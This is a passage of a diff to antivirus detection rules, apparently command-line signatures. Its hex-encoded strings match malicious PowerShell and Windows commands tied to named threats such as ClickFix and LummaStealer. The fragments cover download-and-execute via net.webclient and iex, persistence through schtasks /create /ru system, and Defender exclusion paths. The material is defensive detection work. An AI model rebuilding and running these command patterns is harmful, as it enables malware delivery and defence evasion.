00 6b 00 73 00 0a 00 0e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 0a 00 22 02 6d 00 73 00 68 00 74 00 61 00 90 02 30 74 00 65 00 6d 00 } //111 + $a_00_2 = {74 00 00 00 d7 79 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 4d 21 4d 54 42 00 01 00 14 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 1a 00 77 00 73 00 63 00 72 00 69 00 70 00 74 } //111 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*104+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_25928{ +rule _InfrastructureShared_27250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 53 75 73 50 79 45 78 65 63 2e 41 00 01 00 0c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 01 00 24 02 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 90 02 50 2e 00 70 00 79 00 90 02 3c 2d 00 69 00 70 00 90 00 01 00 } //21283 - $a_00_1 = {2d 00 70 00 6f 00 72 00 74 00 00 00 d7 94 00 00 28 00 28 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a } //12 - $a_57_2 = {6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c 69 63 6b 2e 47 00 0a 00 10 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 0a 00 0e 00 2f 00 63 00 72 00 65 00 61 00 } //28257 + $a_00_1 = {2d 00 70 00 6f 00 72 00 74 00 00 00 d7 79 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a } //12 + $a_57_2 = {6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 4d 21 4d 54 42 00 01 00 14 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 } //28257 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*12+(#a_57_2 & 1)*28257) >=3 } -rule _InfrastructureShared_25929{ +rule _InfrastructureShared_27251{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 4d 21 4d 54 42 00 01 00 14 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c } //21283 + $a_00_2 = {63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 94 00 00 28 00 28 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c 69 63 6b 2e 47 00 0a 00 10 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 0a 00 0e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 0a 00 22 02 } //119 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*119) >=3 + +} +rule _InfrastructureShared_27252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 21 " @@ -339455,31 +356458,43 @@ rule _InfrastructureShared_25929{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116+(#a_00_3 & 1)*115) >=40 } -rule _InfrastructureShared_25930{ +rule _InfrastructureShared_27253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {57 69 6e 33 32 2f 53 73 68 45 78 65 63 2e 41 00 01 00 35 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 05 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 28 00 90 02 05 6d 00 90 02 50 } //21539 $a_00_1 = {01 00 10 00 2d 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 0e 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 01 00 18 00 70 00 72 00 6f 00 78 00 79 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 00 d7 9b 00 00 1f 00 1f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 44 21 4d 54 42 00 01 00 08 00 20 00 69 00 65 00 78 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 } //58 - $a_00_3 = {73 00 73 00 69 00 6f 00 6e 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 10 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 00 d7 a0 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 53 63 } //114 + $a_00_3 = {73 00 73 00 69 00 6f 00 6e 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 10 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 00 d7 9f 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //114 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*58+(#a_00_3 & 1)*114) >=4 } -rule _InfrastructureShared_25931{ +rule _InfrastructureShared_27254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 44 21 4d 54 42 00 01 00 08 00 20 00 69 00 65 00 78 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f } //21283 - $a_00_3 = {70 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 10 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 00 d7 a0 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 53 63 68 45 78 65 63 2e 41 00 01 00 23 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 90 02 20 2f 00 63 00 } //116 - $a_00_4 = {61 00 74 00 65 00 90 00 01 00 0e 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 01 00 14 00 2f 00 72 00 75 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 01 00 2a 00 53 00 74 00 72 00 69 00 63 00 74 00 48 00 6f 00 73 00 74 00 4b 00 65 00 79 00 43 00 68 00 65 00 63 00 6b 00 69 00 6e 00 67 00 00 00 d7 ac 00 } //114 + $a_00_3 = {70 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 10 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 00 d7 9f 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 41 21 4d 54 42 00 01 00 1c 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 } //116 condition: - ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*116+(#a_00_4 & 1)*114) >=31 + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*116) >=31 } -rule _InfrastructureShared_25932{ +rule _InfrastructureShared_27255{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 41 21 4d 54 42 00 01 00 1c 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 11 02 32 00 5c 00 6d 00 73 00 68 00 90 } //21283 + $a_00_1 = {90 00 01 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 01 00 08 00 2e 00 6d 00 70 00 33 00 01 00 18 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 00 00 d7 a0 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 53 63 68 45 78 65 63 2e 41 } //514 + $a_00_3 = {68 00 74 00 61 00 73 00 6b 00 73 00 90 02 20 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 90 00 01 00 0e 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 01 00 14 00 2f 00 72 00 75 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 01 00 2a 00 53 00 74 00 72 00 69 00 63 00 74 00 48 00 6f 00 73 00 74 00 4b 00 } //115 + $a_00_4 = {43 00 68 00 65 00 63 00 6b 00 69 00 6e 00 67 00 00 00 d7 ac 00 00 1e 00 1e 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 45 43 21 4d 54 42 00 0a 00 2e 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 1c } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*514+(#a_00_3 & 1)*115+(#a_00_4 & 1)*101) >=5 + +} +rule _InfrastructureShared_27256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -339487,39 +356502,99 @@ rule _InfrastructureShared_25932{ $a_46_0 = {57 69 6e 33 32 2f 53 75 73 53 63 68 45 78 65 63 2e 41 00 01 00 23 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 90 02 20 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 90 00 01 00 0e 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 } //21283 $a_00_1 = {2f 00 72 00 75 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 } //1 /ru system $a_00_2 = {53 00 74 00 72 00 69 00 63 00 74 00 48 00 6f 00 73 00 74 00 4b 00 65 00 79 00 43 00 68 00 65 00 63 00 6b 00 69 00 6e 00 67 00 } //1 StrictHostKeyChecking - $a_ac_3 = {00 1e 00 1e 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 45 43 21 4d 54 42 00 0a 00 2e 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 26 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 03 2e 00 90 02 03 2e 00 90 02 03 2e 00 90 02 03 2f 00 2e 00 90 00 00 00 d7 b0 00 00 6e 00 6e 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 } //0 + $a_ac_3 = {00 1e 00 1e 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 45 43 21 4d 54 42 00 0a 00 2e 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 26 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 03 2e 00 90 02 03 2e 00 90 02 03 2e 00 90 02 03 2f 00 2e 00 90 00 00 00 d7 b0 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 48 45 21 4d } //0 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_ac_3 & 1)*0) >=4 } -rule _InfrastructureShared_25933{ +rule _InfrastructureShared_27257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 45 43 21 4d 54 42 00 0a 00 2e 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 } //21283 - $a_00_1 = {6e 00 74 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 26 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 03 2e 00 90 02 03 2e 00 90 02 03 2e 00 90 02 03 2f 00 2e 00 90 00 00 00 d7 b0 00 00 6e 00 6e 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 } //105 - $a_6f_2 = {65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 42 42 21 4d 54 42 00 14 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 04 00 5c 00 31 00 14 00 08 00 68 00 74 00 74 00 70 00 14 00 06 00 69 00 65 00 78 00 14 00 } //14958 + $a_00_1 = {6e 00 74 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 26 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 03 2e 00 90 02 03 2e 00 90 02 03 2e 00 90 02 03 2f 00 2e 00 90 00 00 00 d7 b0 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 } //105 + $a_69_2 = {33 32 2f 53 75 73 70 45 78 65 63 2e 48 45 21 4d 54 42 00 01 00 3e 02 6e 00 73 00 6c 00 6f 00 6f 00 6b 00 75 00 70 00 20 00 6e 00 6f 00 6d 00 6f 00 72 00 65 00 72 00 61 00 6e 00 73 00 6f 00 6d 00 2e 00 90 02 08 20 00 64 00 6e 00 73 00 90 02 02 2e 00 90 00 01 00 } //14958 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_6f_2 & 1)*14958) >=30 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_69_2 & 1)*14958) >=30 } -rule _InfrastructureShared_25934{ +rule _InfrastructureShared_27258{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 48 45 21 4d 54 42 00 01 00 3e 02 6e 00 73 00 6c 00 6f 00 6f 00 6b 00 75 00 70 00 20 00 6e 00 6f 00 6d 00 6f 00 72 00 65 00 72 00 61 00 6e 00 73 00 6f 00 6d 00 2e } //21283 + $a_08_1 = {20 00 } //-28672 + condition: + ((#a_46_0 & 1)*21283+(#a_08_1 & 1)*-28672) >=1 + +} +rule _InfrastructureShared_27259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 42 42 21 4d 54 42 00 14 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 04 00 5c 00 31 00 14 00 08 00 68 00 74 00 74 00 } //21283 $a_00_1 = {06 00 69 00 65 00 78 00 14 00 12 00 69 00 77 00 72 00 20 00 } //112 - $a_00_2 = {73 00 65 00 62 00 0a 00 1a 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 0a 00 12 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 20 00 40 00 00 00 d7 d3 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 42 21 4d 54 42 00 01 00 3d 02 67 00 65 00 74 00 } //45 - $a_00_3 = {6d 00 69 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 77 00 69 00 6e 00 90 02 05 5f 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 90 00 01 00 49 02 67 00 77 00 6d 00 69 00 20 00 2d 00 6c 00 69 00 73 00 74 00 20 00 77 00 69 00 6e 00 90 02 05 5f 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 29 00 2e 00 63 00 72 00 65 00 61 } //45 - $a_00_5 = {01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 d6 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 50 6f 77 45 78 63 45 6e 76 2e 41 00 01 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 01 00 20 00 24 00 65 00 6e 00 76 00 3a 00 55 00 } //40 - $a_00_6 = {72 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 01 00 20 00 24 00 65 00 6e 00 76 00 3a 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 01 00 26 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 00 00 d7 e0 00 00 29 } //115 + $a_00_2 = {73 00 65 00 62 00 0a 00 1a 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 0a 00 12 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 20 00 40 00 00 00 d7 b5 00 00 25 00 25 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 64 6f 77 2e 48 42 21 4d 54 42 00 1e 00 22 00 6b 00 69 00 6c 00 6c 00 20 00 } //45 + $a_00_3 = {61 00 6d 00 65 00 20 00 6d 00 73 00 68 00 74 00 61 00 3b 00 01 00 18 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 64 00 61 00 74 00 61 00 01 00 20 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 05 00 22 00 73 00 65 00 74 00 2d 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //45 + $a_00_4 = {70 00 61 00 74 00 68 00 00 00 d7 be 00 00 c9 00 c9 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c } //32 + $a_2e_5 = {4a 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 c8 00 08 00 69 00 65 00 78 00 28 00 c8 00 0a 00 69 00 65 00 78 00 20 00 24 00 c8 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 c9 00 20 02 61 00 70 00 70 00 64 00 61 00 74 00 61 00 90 02 } //27716 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_2 & 1)*45+(#a_00_3 & 1)*45+(#a_00_5 & 1)*40+(#a_00_6 & 1)*115) >=110 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_2 & 1)*45+(#a_00_3 & 1)*45+(#a_00_4 & 1)*32+(#a_2e_5 & 1)*27716) >=110 } -rule _InfrastructureShared_25935{ +rule _InfrastructureShared_27260{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,25 00 25 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 64 6f 77 2e 48 42 21 4d 54 42 00 1e 00 22 00 6b 00 69 00 6c 00 6c 00 20 00 2d 00 6e 00 61 00 6d 00 65 00 20 00 6d 00 73 00 68 00 74 00 61 00 3b 00 01 00 18 00 64 00 6f 00 77 00 6e } //21283 + $a_00_2 = {64 00 61 00 74 00 61 00 01 00 20 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 05 00 22 00 73 00 65 00 74 00 2d 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 2d 00 70 00 61 00 74 00 68 00 00 00 d7 be 00 00 c9 00 c9 00 06 00 21 23 53 4c 46 3a } //97 + $a_6a_3 = {6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 48 4a 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 c8 00 08 00 69 00 65 00 78 00 28 00 c8 00 0a 00 69 00 65 00 78 00 20 00 24 00 c8 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 } //29268 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_6a_3 & 1)*29268) >=37 + +} +rule _InfrastructureShared_27261{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 48 4a 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 c8 00 08 00 69 00 65 00 78 00 28 00 c8 00 0a 00 69 00 65 00 78 00 } //21283 + $a_00_1 = {c8 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 } //32 + $a_00_2 = {20 02 61 00 70 00 70 00 64 00 61 00 74 00 61 00 90 02 03 5c 00 90 02 a0 2e 00 76 00 62 00 65 00 90 00 7c fc 12 02 2e 00 76 00 62 00 65 00 90 22 01 02 2e 00 5c 00 90 00 00 00 d7 c2 00 00 0b 00 0b 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 48 49 21 4d 54 42 00 0a 00 47 02 2e 00 76 00 61 00 6c 00 75 00 65 00 2e 00 6e 00 61 00 6d 00 65 00 90 02 06 63 00 6c 00 69 00 6b 00 65 00 90 02 06 27 00 2a 00 6f 00 6d 00 2a 00 65 00 27 00 90 02 06 7d 00 29 00 2e 00 6e 00 61 00 6d 00 65 00 90 00 01 00 47 02 24 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 } //110 + $a_00_3 = {6f 00 6e 00 74 00 65 00 78 00 74 00 7c 00 90 02 08 6d 00 65 00 6d 00 62 00 65 00 72 00 29 00 5b 00 36 00 5d 00 2e 00 6e 00 61 00 6d 00 65 00 90 00 00 00 d7 ce 00 00 03 00 03 00 03 00 00 01 00 38 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c } //110 + $a_00_5 = {70 00 68 00 70 00 2e 00 65 00 78 00 65 00 01 00 4a 00 2d 00 64 00 20 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 3d 00 7a 00 69 00 70 00 20 00 2d 00 64 00 20 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 5f 00 64 00 69 00 72 00 3d 00 65 00 78 00 74 00 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_2 & 1)*110+(#a_00_3 & 1)*110+(#a_00_5 & 1)*112) >=201 + +} +rule _InfrastructureShared_27262{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 48 49 21 4d 54 42 00 0a 00 47 02 2e 00 76 00 61 00 6c 00 75 00 65 00 2e 00 6e 00 61 00 6d 00 65 00 90 02 06 63 00 6c 00 69 00 6b 00 65 00 90 02 06 27 00 2a 00 } //21283 + $a_00_1 = {2a 00 65 00 27 00 90 02 06 7d 00 29 00 2e 00 6e 00 61 00 6d 00 65 00 90 00 01 00 47 02 24 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 63 00 6f 00 6e 00 74 00 65 00 78 00 74 00 7c 00 90 02 08 6d 00 65 00 6d 00 62 00 65 00 72 00 29 00 5b 00 36 00 5d 00 2e 00 6e 00 61 00 6d 00 65 00 90 00 00 00 d7 ce 00 00 03 00 03 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111) >=11 + +} +rule _InfrastructureShared_27263{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 70 00 68 00 70 00 5c 00 70 00 68 00 70 00 2e 00 65 00 78 00 65 00 } //1 \AppData\Roaming\php\php.exe + $a_00_1 = {2d 00 64 00 20 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 3d 00 7a 00 69 00 70 00 20 00 2d 00 64 00 20 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 5f 00 64 00 69 00 72 00 3d 00 65 00 78 00 74 00 } //1 -d extension=zip -d extension_dir=ext + $a_02_2 = {5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 70 00 68 00 70 00 5c 00 [0-0a] 2e 00 63 00 66 00 67 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} +rule _InfrastructureShared_27264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -339531,20 +356606,39 @@ rule _InfrastructureShared_25935{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104+(#a_00_2 & 1)*112) >=3 } -rule _InfrastructureShared_25936{ +rule _InfrastructureShared_27265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 50 6f 77 45 78 63 45 6e 76 2e 41 00 01 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 } //21283 $a_00_1 = {61 00 74 00 68 00 01 00 20 00 24 00 65 00 6e 00 76 00 3a 00 55 00 73 00 65 00 72 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 01 00 20 00 24 00 65 00 6e 00 76 00 3a 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 01 00 26 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 65 00 78 00 74 00 65 00 6e 00 } //110 - $a_00_2 = 